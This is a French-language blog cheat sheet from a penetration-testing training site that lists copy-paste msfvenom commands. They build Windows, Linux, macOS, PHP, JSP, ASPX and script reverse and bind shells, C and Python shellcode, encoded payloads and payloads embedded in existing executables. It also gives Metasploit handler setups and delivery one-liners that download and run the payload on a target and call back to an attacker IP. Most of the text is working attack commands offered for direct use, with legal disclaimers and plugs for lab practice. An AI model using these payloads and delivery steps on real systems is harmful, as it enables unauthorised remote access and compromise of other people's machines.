Blog / Cheat Sheets

Cheat Sheet Msfvenom 2026 : Commandes de Payload à Copier-Coller

HackerDNA Team

20 min de lecture

janv. 08, 2026

Dernière mise à jour: févr. 03, 2026

Besoin d'un reverse shell ? Msfvenom le génère en une seule commande. Exécutable Windows, ELF Linux, shell web PHP ou shellcode brut pour votre exploit de buffer overflow : msfvenom les gère tous.

Cette cheat sheet msfvenom vous donne des commandes copier-coller pour chaque scénario de payload en 2026. Pas de superflu, juste des one-liners fonctionnels que vous pouvez utiliser immédiatement. Si vous débutez en exploitation, commencez par notre guide CTF pour débutants.

📅 Mis à jour : Janvier 2026 🔧 Metasploit 6.x ⏱️ 15 min de lecture
Télécharger la Cheat Sheet PDF

Référence d'une page imprimable avec toutes les commandes msfvenom essentielles.

Télécharger PDF

🚀 Top 15 des Commandes Msfvenom (Prêtes à Copier-Coller)

Les commandes msfvenom les plus courantes pour référence rapide. Copiez, collez, remplacez 10.10.10.10 par votre IP et 4444 par votre port.

# Meterpreter Windows (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Meterpreter Windows (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Meterpreter Linux (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Shell Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Reverse shell macOS
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell

# Shell web PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php

# Shell web JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp

# Fichier WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war

# Shell web ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp

# Shell web ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx

# Payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py

# One-liner Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh

# PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1

# Shellcode (format C)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"

# Payload encodé (suppression de mauvais caractères, obfuscation basique)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
Cible Payload Format
Windows x64 windows/x64/meterpreter/reverse_tcp exe
Windows x86 windows/meterpreter/reverse_tcp exe
Linux x64 linux/x64/meterpreter/reverse_tcp elf
macOS osx/x64/shell_reverse_tcp macho
PHP php/meterpreter/reverse_tcp raw
Java/JSP java/jsp_shell_reverse_tcp war
Bash cmd/unix/reverse_bash raw
PowerShell windows/x64/meterpreter/reverse_tcp psh

🔧 Qu'est-ce que Msfvenom ?

Msfvenom est le générateur de payload du Metasploit Framework. Il a remplacé les anciens outils msfpayload et msfencode, combinant la génération de payload et l'encodage dans un seul utilitaire.

Reverse Shells

La cible se connecte à votre machine

Bind Shells

Ouvre un port sur la cible, vous vous y connectez

Meterpreter

Shell avancé avec fonctions de post-exploitation

Shellcode

Octets bruts pour exploits de buffer overflow

Msfvenom génère des payloads dans des formats pour chaque scénario : .exe pour Windows, .elf pour Linux, .php pour les applications web et shellcode brut pour le développement d'exploits. Il s'intègre avec le multi/handler de Metasploit pour capturer les connexions entrantes.

Conseil : Connaissez le système d'exploitation et l'architecture de votre cible avant de générer des payloads. Un payload 64 bits ne s'exécutera pas sur un système 32 bits.

⚙️ Syntaxe Msfvenom de Base

Comprendre la syntaxe de msfvenom est crucial pour une génération efficace de payloads. La structure de commande de base suit un modèle cohérent que vous utiliserez pour chaque payload.

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <sortie>

Drapeaux Essentiels

Drapeau Description Exemple
-p Payload à utiliser -p windows/meterpreter/reverse_tcp
-f Format de sortie -f exe
-o Fichier de sortie -o shell.exe
-e Encodeur à utiliser -e x86/shikata_ga_nai
-i Itérations d'encodage -i 5
-b Mauvais caractères à éviter -b "\x00\x0a\x0d"
-a Architecture -a x64
--platform Plateforme cible --platform windows

Variables de Payload

Variable Description Utilisé Pour
LHOST Hôte local (votre IP) Reverse shells
LPORT Port local (votre listener) Reverse shells
RHOST Hôte distant (IP cible) Bind shells
RPORT Port distant (port cible) Bind shells

🔍 Lister les Payloads, Formats et Encodeurs

Avant de générer des payloads, vous devez savoir ce qui est disponible. Ces commandes vous aident à explorer les capacités de msfvenom et à trouver le bon payload pour votre scénario.

Commandes de Découverte

Commande Description
msfvenom -l payloads Lister tous les payloads disponibles
msfvenom -l formats Lister tous les formats de sortie
msfvenom -l encoders Lister tous les encodeurs
msfvenom -l archs Lister les architectures supportées
msfvenom -l platforms Lister les plateformes supportées
msfvenom -l encrypt Lister les options de chiffrement

Filtrer les Payloads

# Lister uniquement les payloads Windows
msfvenom -l payloads | grep windows

# Lister les payloads reverse shell Linux
msfvenom -l payloads | grep linux | grep reverse

# Lister les payloads PHP
msfvenom -l payloads | grep php

# Afficher les options du payload
msfvenom -p windows/meterpreter/reverse_tcp --list-options

Conseil : Utilisez --list-options pour voir toutes les options configurables pour un payload spécifique. Cela montre les variables requises et optionnelles, vous aidant à personnaliser les payloads pour des scénarios spécifiques.

🪟 Payloads Windows

Windows est la cible la plus courante dans les tests d'intrusion. Générez des exécutables, des DLL, des scripts PowerShell et des packages MSI pour l'exploitation Windows.

💡 Choix Rapide : Pour la plupart des cibles Windows, utilisez windows/x64/meterpreter/reverse_tcp avec le format exe. Cela fonctionne sur Windows 7+ et vous donne toutes les capacités de Meterpreter.

Staged vs Stageless : Les noms de payload avec un / (comme meterpreter/reverse_tcp) sont staged et nécessitent un handler pour envoyer la deuxième étape. Les noms de payload avec un _ (comme meterpreter_reverse_tcp) sont stageless et contiennent tout dans un seul fichier. Utilisez stageless lorsque les restrictions réseau peuvent bloquer le téléchargement de l'étape.

Payloads Reverse Shell

# Shell reverse TCP Windows (32 bits)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Shell reverse TCP Windows (64 bits)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell64.exe

# Meterpreter reverse TCP (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter.exe

# Meterpreter reverse TCP (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter64.exe

# Meterpreter reverse HTTPS (chiffré, souvent autorisé en sortant)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f exe -o https_shell.exe

Payloads Bind Shell

# Shell bind TCP Windows
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe -o bind_shell.exe

# Meterpreter bind TCP
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_meterpreter.exe

Formats Windows Alternatifs

Format Drapeau Cas d'Usage
Exécutable -f exe Exécutable Windows standard
DLL -f dll Attaques de détournement de DLL
MSI -f msi Package d'installation Windows
PowerShell -f psh Script PowerShell
Commande PowerShell -f psh-cmd One-liner pour injection de commande

Payloads PowerShell

# Payload script PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1

# One-liner PowerShell (pour injection de commande)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-cmd

# PowerShell encodé en Base64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-reflection

Pratiquez l'exploitation de systèmes Windows avec ces payloads dans le Lab Hack the Box de HackerDNA, qui simule un environnement Windows réel pour la pratique du test d'intrusion.

🐧 Payloads Linux

Les payloads Linux génèrent des binaires ELF pour les systèmes basés sur Unix. Fonctionne sur la plupart des distributions et peut cibler des appareils embarqués avec architectures ARM/MIPS.

💡 Choix Rapide : Pour les CTF et la plupart des cibles Linux, utilisez linux/x64/shell_reverse_tcp avec le format elf. Simple, fiable et fonctionne sans dépendances Meterpreter.

Payloads Reverse Shell

# Shell reverse TCP Linux (32 bits)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Shell reverse TCP Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell64

# Meterpreter reverse TCP (32 bits)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter

# Meterpreter reverse TCP (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter64

Payloads Bind Shell

# Shell bind TCP Linux
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf -o bind_shell

# Meterpreter bind TCP
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_meterpreter

Payloads ARM (Appareils IoT)

# Shell reverse ARM (Raspberry Pi, routeurs)
msfvenom -p linux/armle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o arm_shell

# Shell reverse MIPS (appareils embarqués)
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o mips_shell

Conseil : Après avoir généré un payload Linux, rendez-le exécutable avec chmod +x. Transférez-le vers la cible en utilisant wget, curl ou un serveur HTTP Python, puis exécutez-le pour établir votre connexion.

🍎 Payloads macOS

Les payloads macOS génèrent des binaires Mach-O pour les systèmes Apple. Ceux-ci fonctionnent sur les Mac basés sur Intel et peuvent être utiles lors du ciblage de postes de travail de développeurs ou de serveurs macOS.

Payloads Reverse Shell

# Shell reverse TCP macOS (64 bits Intel)
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell

# Meterpreter reverse TCP macOS
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o meterpreter

# Reverse HTTPS macOS (souvent autorisé en sortant)
msfvenom -p osx/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f macho -o https_shell

Payloads Bind Shell

# Shell bind TCP macOS
msfvenom -p osx/x64/shell_bind_tcp LPORT=4444 -f macho -o bind_shell

# Meterpreter bind TCP macOS
msfvenom -p osx/x64/meterpreter/bind_tcp LPORT=4444 -f macho -o bind_meterpreter

Notes macOS : macOS moderne inclut Gatekeeper et des exigences de signature de code. Les binaires non signés déclencheront des avertissements de sécurité. Pour les tests autorisés sur les systèmes que vous contrôlez, vous pouvez supprimer le drapeau de quarantaine avec xattr -d com.apple.quarantine shell ou utiliser des méthodes de livraison alternatives comme les payloads Python ou Bash. Les Mac Apple Silicon (M1/M2/M3) peuvent exécuter des payloads x64 via Rosetta 2.

🌐 Payloads pour Applications Web

Essentiels pour les exploits de téléchargement de fichiers, l'injection de commandes et les attaques d'applications web. Générez des payloads PHP, JSP, ASP, Python, Bash et NodeJS.

💡 Choix Rapide : Pour les vulnérabilités de téléchargement de fichiers PHP, utilisez php/reverse_php avec le format raw. N'oubliez pas d'ajouter manuellement la balise <?php !

Payloads PHP

# Shell reverse PHP
msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php

# Meterpreter reverse TCP PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.php

# Shell bind PHP
msfvenom -p php/bind_php LPORT=4444 -f raw -o bind_shell.php

Payloads JSP (Java)

# Shell reverse JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp

# Shell bind JSP
msfvenom -p java/jsp_shell_bind_tcp LPORT=4444 -f raw -o bind_shell.jsp

# Fichier WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war

Payloads ASP/ASPX

# Shell reverse ASP
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp

# Shell reverse ASPX
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx

# Meterpreter ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o meterpreter.aspx

Payloads Python

# Shell reverse Python
msfvenom -p python/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py

# Meterpreter Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.py

Payloads Bash et Shell

# Shell reverse Bash (utile pour injection de commande)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh

# Shell reverse Netcat
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.10 LPORT=4444 -f raw

# Shell reverse Perl
msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.pl

# Shell reverse Ruby
msfvenom -p cmd/unix/reverse_ruby LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.rb

Payloads NodeJS

# Shell reverse NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.js

# Shell bind NodeJS
msfvenom -p nodejs/shell_bind_tcp LPORT=4444 -f raw -o bind_shell.js

Piège du Payload PHP : Les payloads PHP de Msfvenom n'incluent PAS la balise d'ouverture <?php. Vous devez l'ajouter manuellement : echo '<?php ' | cat - shell.php > shell_final.php. Sans cela, le payload s'exécute comme texte brut au lieu de code PHP.

Apprenez à exploiter les vulnérabilités de téléchargement de fichiers et à livrer des payloads web dans notre Cours de Sécurité des Applications Web. Pratiquez les téléchargements de shell PHP dans le Défi File Upload Bypass, ou testez les payloads d'injection SQL dans le Lab de Test d'Injection SQL.

💉 Génération de Shellcode

Le shellcode est du code machine brut utilisé dans les exploits de buffer overflow et le développement de malware personnalisé. Msfvenom génère du shellcode dans plusieurs formats pour différents langages de programmation.

Formats de Shellcode Courants

Format Drapeau Cas d'Usage
Octets bruts -f raw Shellcode binaire direct
Tableau C -f c Développement d'exploit C
Python -f python Scripts d'exploit Python
Ruby -f ruby Scripts d'exploit Ruby
Hex -f hex Chaîne hexadécimale
JavaScript -f js_le Exploits de navigateur

Exemples de Shellcode

# Shellcode C pour buffer overflow
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"

# Shellcode Python
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f python -b "\x00\x0a\x0d"

# Shellcode brut (pour injection manuelle)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin

# Format hex
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f hex

Taille du Payload et Calculs de Buffer

La taille du payload compte pour les exploits de buffer overflow. Votre shellcode doit tenir dans l'espace de buffer disponible. Msfvenom affiche les informations de taille pendant la génération.

# Vérifier la taille du payload avant de générer
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" 2>&1 | grep "Payload size"

# Tailles typiques (approximatives) :
# windows/shell_reverse_tcp:     ~324 octets
# windows/meterpreter/reverse_tcp: ~354 octets (staged, stager uniquement)
# linux/x86/shell_reverse_tcp:   ~68 octets
# cmd/unix/reverse_bash:         ~60 octets

Conseil de Taille : Les payloads staged sont plus petits car le stager télécharge le payload complet. Si l'espace de buffer est limité, utilisez des payloads staged. Si vous avez besoin de fiabilité plutôt que de taille, utilisez stageless. Ajoutez un NOP sled avec -n 16 pour l'alignement.

Éviter les Mauvais Caractères

Les exploits de buffer overflow ne peuvent souvent pas contenir certains octets (octets nuls, retours à la ligne, etc.). Utilisez le drapeau -b pour exclure les caractères problématiques de votre shellcode.

# Éviter l'octet nul et les mauvais caractères courants
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00\x0a\x0d\x20"

# Générer avec NOP sled pour l'alignement
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" -n 16

🛡️ Encodeurs et Encodage de Payload

Les encodeurs transforment les payloads pour supprimer les caractères problématiques et changer leur signature d'octets. Ceci est principalement utile pour supprimer les mauvais caractères dans les exploits de buffer overflow et réduire les correspondances de signatures triviales pendant les tests autorisés.

Vérification de Réalité : Les produits de sécurité modernes utilisent l'analyse comportementale, le sandboxing et l'apprentissage automatique. L'encodage seul ne bat pas ces défenses. L'utilisation légitime principale de l'encodage est la suppression de mauvais caractères du shellcode pour le développement d'exploits.

Encodeurs Populaires

Encodeur Évaluation Description
x86/shikata_ga_nai Excellent Encodeur XOR polymorphique (le plus populaire)
x64/xor Normal Encodeur XOR 64 bits
x86/fnstenv_mov Normal Encodeur fnstenv/mov à longueur variable
cmd/powershell_base64 Excellent Encodeur PowerShell Base64

Commandes d'Encodage

# Itération d'encodage unique
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe

# Itérations d'encodage multiples
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o multi_encoded.exe

# Chaîner plusieurs encodeurs
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o chain_encoded.exe

Templates d'Exécutables

Intégrez des payloads dans des exécutables existants en utilisant le drapeau -x. La fonctionnalité de l'exécutable original est préservée aux côtés du payload. C'est utile pour comprendre comment les payloads peuvent être empaquetés pendant les évaluations autorisées.

# Intégrer un payload dans un exécutable existant
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -x /path/to/template.exe -k -f exe -o output.exe

Réalité de la Détection : Les produits de sécurité modernes analysent le comportement, pas seulement les signatures de fichiers. L'encodage et les templates sont détectés par l'analyse comportementale, le sandboxing et l'apprentissage automatique. Ces techniques sont éducatives pour comprendre les mécanismes de détection, pas pour vaincre les contrôles de sécurité.

📡 Configuration des Handlers Metasploit

Votre payload a besoin d'un endroit pour se connecter. Le module multi/handler capture les connexions entrantes des payloads msfvenom.

1. Générer
payload msfvenom
2. Démarrer
multi/handler
3. Livrer
payload à la cible
4. Shell !
connexion reçue

Configuration de Handler de Base

# Démarrer la console Metasploit
msfconsole

# Configurer le handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
run

Handler en One-Liner

# Handler rapide sans console interactive
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"

Fichier de Ressource Handler

Créez un fichier de ressource pour les configurations de handler fréquemment utilisées :

# Enregistrer comme handler.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
set ExitOnSession false
set EnableStageEncoding true
run -j

# Exécuter avec : msfconsole -r handler.rc
Option Description
ExitOnSession false Garder le handler en cours d'exécution après la connexion
run -j Exécuter comme tâche en arrière-plan
EnableStageEncoding true Chiffrer la transmission de l'étape

Apprenez le workflow d'exploitation complet dans notre Cours de Test d'Intrusion Réseau, qui couvre Metasploit, msfvenom et les techniques de post-exploitation.

🎯 Scénarios Courants de Test d'Intrusion

Ces combinaisons de commandes prêtes à l'emploi couvrent les situations les plus fréquentes que vous rencontrerez lors des tests d'intrusion et des compétitions CTF.

Cible Windows (Réseau Interne)

# Générer le payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Transférer vers la cible (depuis la machine attaquante)
python3 -m http.server 80

# Sur la cible : powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/shell.exe','shell.exe')"

# Démarrer le handler
msfconsole -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"

Cible Linux (Style CTF)

# Générer le payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Démarrer le listener (netcat est plus simple pour les shells de base)
nc -lvnp 4444

# Transférer et exécuter sur la cible
# wget http://10.10.10.10/shell && chmod +x shell && ./shell

Téléchargement de Shell Web

# Shell PHP pour vulnérabilité de téléchargement de fichier
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php

# Ajouter les balises PHP (la sortie msfvenom en a besoin)
echo '<?php ' | cat - shell.php > shell_final.php

# JSP pour Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war

Exploit de Buffer Overflow

# Générer du shellcode en évitant les octets nuls
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -f python -v shellcode

# Avec NOP sled
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -n 16 -f python -v shellcode

Pratiquez les scénarios d'exécution de code à distance dans notre RCE Playground, conçu spécifiquement pour apprendre la livraison de payload et les techniques d'exploitation.

📋 Carte de Référence Rapide

Commandes msfvenom essentielles pour référence rapide. Mettez cette section en favori.

🎯 Commandes Les Plus Utilisées

WIN msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe
LNX msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell
PHP msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw -o shell.php
JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war
BOF msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f c -b "\x00"

⚡ Drapeaux Clés

-p
Payload
-f
Format
-o
Fichier de sortie
-e
Encodeur
-b
Mauvais caractères
-i
Itérations
-l
Liste d'options
-a
Architecture

⚖️ Considérations Légales et Éthiques

Avertissement Critique : Msfvenom génère des payloads d'exploitation. Les utiliser contre des systèmes sans autorisation écrite explicite est un crime grave dans pratiquement toutes les juridictions. Les violations d'accès non autorisé peuvent entraîner des amendes importantes et des peines d'emprisonnement.

  • Obtenez toujours une autorisation écrite avant de tester tout système que vous ne possédez pas
  • Utilisez des environnements de pratique légaux comme HackerDNA Labs, vos propres machines virtuelles ou des plateformes CTF autorisées
  • Ne déployez jamais de payloads sur des systèmes de production sans autorisation explicite des propriétaires de systèmes
  • Comprenez votre portée et restez dans les limites de votre accord d'engagement
  • Documentez tout pendant les tests d'intrusion autorisés pour la protection juridique

Les compétences que vous développez avec msfvenom sont puissantes. Utilisez-les de manière responsable pour protéger les systèmes, pas pour leur nuire. Les hackers éthiques bâtissent des carrières sur la confiance et l'intégrité.

🔧 Dépannage des Problèmes Courants

Même les pentesters expérimentés rencontrent des problèmes de payload. Voici les problèmes les plus courants et comment les résoudre rapidement.

Incompatibilité de Payload du Handler

Problème : Le handler reçoit une connexion mais la session meurt immédiatement.

Solution : Le payload dans votre handler DOIT correspondre exactement au payload utilisé dans msfvenom. windows/meterpreter/reverse_tcp (staged) n'est PAS la même chose que windows/meterpreter_reverse_tcp (stageless). Copiez-collez la chaîne de payload exacte.

Choisir le Bon LHOST

Scénario Utiliser Cette Interface
VPN (HTB, THM, labs) tun0 - votre IP de tunnel VPN
Réseau local eth0 ou wlan0 - votre IP locale
Derrière NAT (cible internet) Votre IP publique + redirection de port, ou utilisez bind shell
Docker/VM IP de l'hôte que la cible peut atteindre, pas l'IP du conteneur
# Trouver vos IP d'interface
ip addr show | grep "inet "
# ou
ifconfig | grep "inet "

Le Payload ne S'Exécute Pas

  • L'ELF Linux ne s'exécute pas : Avez-vous fait chmod +x shell ?
  • PHP affiche du code au lieu d'exécuter : Ajoutez la balise <?php au début
  • Windows bloque l'exécution : Le logiciel de sécurité l'a détecté; attendu dans les environnements protégés
  • Quarantaine macOS : Exécutez xattr -d com.apple.quarantine shell
  • Incompatibilité d'architecture : Payload 32 bits sur système 64 bits fonctionne généralement; 64 bits sur 32 bits échoue

Connexion Non Reçue

  • Vérifier le pare-feu : Votre port d'écoute est-il ouvert ? sudo ufw allow 4444/tcp
  • Vérifier que le handler s'exécute : Vérifiez avec jobs dans msfconsole
  • Routage réseau : La cible peut-elle atteindre votre LHOST ? Testez avec ping si possible
  • Mauvais port : Vérifiez que LPORT correspond entre le payload et le handler

🎮 Pratiquez Vos Compétences en Payload

Lire cette cheat sheet msfvenom vous donne les commandes. La pratique les rend naturelles. La différence entre connaître la syntaxe des payloads et exploiter avec succès une cible se résume à l'expérience pratique.

HackerDNA Labs fournit des machines vulnérables spécialement conçues pour pratiquer les techniques d'exploitation. Chaque lab simule des scénarios du monde réel où vous générerez des payloads, pratiquerez des techniques d'exploitation et établirez des shells dans un environnement sûr et légal.

Labs Recommandés pour la Pratique Msfvenom

  • RCE Playground Pratiquez l'exécution de code à distance et la livraison de payload
  • Lab Hack the Box Test d'intrusion complet nécessitant la génération de payload
  • Lab Internal Pentest de réseau interne avec exploitation avancée

Commencez à générer des payloads aujourd'hui. Créez votre compte HackerDNA gratuit et pratiquez les techniques d'exploitation dans un environnement sûr et légal.

❓ Questions Fréquemment Posées

À quoi sert msfvenom ?

Msfvenom est un générateur de payload dans le Metasploit Framework. Les professionnels de la sécurité l'utilisent pour créer des reverse shells, des bind shells et du shellcode pour les tests d'intrusion autorisés. Il génère des payloads dans divers formats incluant des exécutables, des scripts et du shellcode brut.

Quelle est la différence entre un payload staged et stageless ?

Les payloads staged (comme windows/meterpreter/reverse_tcp) envoient un petit stager initial qui télécharge le payload complet. Les payloads stageless (comme windows/meterpreter_reverse_tcp, notez le trait de soulignement) contiennent tout dans un seul package. Les payloads staged sont plus petits mais nécessitent une connexion stable. Les payloads stageless sont plus grands mais plus fiables.

À quoi sert l'encodage ?

L'encodage transforme les octets de payload pour supprimer les caractères problématiques (comme les octets nuls) qui casseraient les exploits de buffer overflow. Les produits de sécurité modernes utilisent l'analyse comportementale, le sandboxing et l'apprentissage automatique qui détectent l'activité malveillante quelle que soit l'encodage. L'utilisation légitime principale est la suppression de mauvais caractères pour le développement d'exploits.

Comment savoir quel payload utiliser ?

Choisissez en fonction du système d'exploitation cible (Windows/Linux), de l'architecture (x86/x64) et des conditions réseau. Pour les réseaux internes, utilisez reverse_tcp. Pour les cibles internet derrière NAT, les bind shells peuvent mieux fonctionner. Lorsque HTTPS est autorisé en sortant, reverse_https réussit souvent. Utilisez Meterpreter pour les fonctionnalités complètes de post-exploitation, ou des payloads shell de base pour la simplicité.

📚 Ressources Connexes

Élargissez votre boîte à outils d'exploitation avec ces guides et cours connexes :

🏁 Conclusion

Cette cheat sheet msfvenom couvre les commandes essentielles de génération de payload pour les tests d'intrusion en 2026. Des exécutables Windows aux shells web PHP, des reverse shells basiques aux payloads Meterpreter encodés, ces techniques forment la phase d'exploitation des évaluations de sécurité.

Rappelez-vous : la génération de payload n'est qu'une partie de l'exploitation réussie. Combinez msfvenom avec une reconnaissance solide, une configuration appropriée du handler et des techniques de post-exploitation pour des tests d'intrusion complets. Chaque shell réussi commence avec le bon payload pour la situation.

Rappel Légal : Ne générez et ne déployez des payloads que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé est un crime grave avec de graves conséquences juridiques.

Mettez cette référence en favori, pratiquez dans des environnements de lab légaux et développez les compétences d'exploitation qui séparent les professionnels de la sécurité des script kiddies.

Prêt à mettre cela en pratique?

Arrêtez de lire, commencez à hacker. Obtenez une expérience pratique avec plus de 170 labs de cybersécurité réels.

Commencer à Hacker Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte